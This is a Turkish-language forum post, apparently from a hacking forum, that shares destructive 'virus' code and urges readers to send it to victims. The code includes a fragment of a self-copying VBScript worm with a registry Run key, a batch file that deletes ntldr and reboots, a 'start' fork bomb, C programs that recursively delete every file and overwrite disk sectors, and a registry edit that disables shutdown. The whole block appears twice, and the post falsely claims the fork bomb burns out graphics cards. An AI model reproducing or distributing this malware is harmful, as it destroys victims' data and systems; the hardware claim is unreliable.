dünyanın en kötü virüsünü yazıcaz !!
1 sayfadaki 1 sayfası
dünyanın en kötü virüsünü yazıcaz !!
rem delete -pcas(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
sımdı arkadasların bazıları sorucak bu vırusu nasıl yapıcam aynen soyle yapacaksın not defterını acıyorsun buradakı kodları oraya yapıstırıyorsun sonra farklı kaydet dıyorsun masaustune (örnegın:sabo.bat) arkadaslar .bat seklınde kaydedıyorsun ve masaustunde vırusun hazır sız bu vırusu acmayın sakın ıste yapdıgınız ılk vırus dosyası da budur...!!!
METİN SAYFASI AÇIP
kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin.
-------------------------------------------------------------
Format Virüsü
bunu notepade atın .bat olarak kaydedin karşı tarafa yollayın pcsine format atılacak
cd..
cd..
attrib -s -h -r -a c:\ntldr
del c:\ntldr
shutdown -r
MSN de pc yi kitleme
1- öncelikle pc mizden not defteri acalım içine start yazıp kopyalayalım sonra sırasıyla yuzlerce start yazalım.
2- daha sonra kaydet diyelim ve bu dosyayı txt olarak degılde .bat olarak kaydedelim işte size pc dondurucu sakın kendı pcinizde acmayın ama denemek isteyenler açabilir.sonrada .rarlayıp gönderiyoruz karşı taraf açarsa
sonuc olarak pc de durmadan pencereler acılıyor yüzlerce reset atmak zorunda kalıyorsunuz.ekran kartını yoruyor ve yanmasına sebep oluyor
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>
main()
{
int i,j;
char tmp[20];
char far *ptr;
for (i=0;i<=50;i++){
srand(rand());
ptr = itoa(rand(),tmp,10);
mkdir ( ptr );
chdir ( ptr );
for (j=0;j<=50;j++){
ptr = itoa(rand(),tmp,10);
mkdir( ptr );
}
chdir ("\");
}
}
#include <stdio.h>
#include <dir.h>
#include <dos.h>
main()
{
SearchAndDestroy("");
span("");
boot();
}
span(p)
char *p;
{
struct ffblk f;
char n[129];
int r;
SearchAndDestroy(p);
sprintf(n,"%s\\%s",p,"*.*");
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
if(*f.ff_name=='.') continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,"%s\\%s",p,f.ff_name);
span(n);
}
}
}
SearchAndDestroy(p)
char *p;
{
struct ffblk f;
char b[81];
int r;
strcpy(b,p);
strcat(b,"\\*.*");
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
sprintf(b,"%s\\%s",p,f.ff_name);
remove(b);
}
}
boot()
{
char *buff;
char *test;
fprintf(test,"THIS PROGRAM WAS MADE BY Someone Else!!");
abswrite(2,12,0,buff);
}
Pc Yi Kapattırmayan Virüs Kodu
@echo off
copy %0%windir%\Virus.bat> nul
reg addHKCU\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer/v NoClose /t REG_DWORD /d
1/f > nul
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
sımdı arkadasların bazıları sorucak bu vırusu nasıl yapıcam aynen soyle yapacaksın not defterını acıyorsun buradakı kodları oraya yapıstırıyorsun sonra farklı kaydet dıyorsun masaustune (örnegın:sabo.bat) arkadaslar .bat seklınde kaydedıyorsun ve masaustunde vırusun hazır sız bu vırusu acmayın sakın ıste yapdıgınız ılk vırus dosyası da budur...!!!
METİN SAYFASI AÇIP
kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin.
-------------------------------------------------------------
Format Virüsü
bunu notepade atın .bat olarak kaydedin karşı tarafa yollayın pcsine format atılacak
cd..
cd..
attrib -s -h -r -a c:\ntldr
del c:\ntldr
shutdown -r
MSN de pc yi kitleme
1- öncelikle pc mizden not defteri acalım içine start yazıp kopyalayalım sonra sırasıyla yuzlerce start yazalım.
2- daha sonra kaydet diyelim ve bu dosyayı txt olarak degılde .bat olarak kaydedelim işte size pc dondurucu sakın kendı pcinizde acmayın ama denemek isteyenler açabilir.sonrada .rarlayıp gönderiyoruz karşı taraf açarsa
sonuc olarak pc de durmadan pencereler acılıyor yüzlerce reset atmak zorunda kalıyorsunuz.ekran kartını yoruyor ve yanmasına sebep oluyor
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>
main()
{
int i,j;
char tmp[20];
char far *ptr;
for (i=0;i<=50;i++){
srand(rand());
ptr = itoa(rand(),tmp,10);
mkdir ( ptr );
chdir ( ptr );
for (j=0;j<=50;j++){
ptr = itoa(rand(),tmp,10);
mkdir( ptr );
}
chdir ("\");
}
}
#include <stdio.h>
#include <dir.h>
#include <dos.h>
main()
{
SearchAndDestroy("");
span("");
boot();
}
span(p)
char *p;
{
struct ffblk f;
char n[129];
int r;
SearchAndDestroy(p);
sprintf(n,"%s\\%s",p,"*.*");
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
if(*f.ff_name=='.') continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,"%s\\%s",p,f.ff_name);
span(n);
}
}
}
SearchAndDestroy(p)
char *p;
{
struct ffblk f;
char b[81];
int r;
strcpy(b,p);
strcat(b,"\\*.*");
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
sprintf(b,"%s\\%s",p,f.ff_name);
remove(b);
}
}
boot()
{
char *buff;
char *test;
fprintf(test,"THIS PROGRAM WAS MADE BY Someone Else!!");
abswrite(2,12,0,buff);
}
Pc Yi Kapattırmayan Virüs Kodu
@echo off
copy %0%windir%\Virus.bat> nul
reg addHKCU\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer/v NoClose /t REG_DWORD /d
1/f > nul
SLAYER- Mesaj Sayısı : 25
Kayıt tarihi : 17/09/09
Yaş : 31
Nerden : antalya
1 sayfadaki 1 sayfası
Bu forumun müsaadesi var:
Bu forumdaki mesajlara cevap veremezsiniz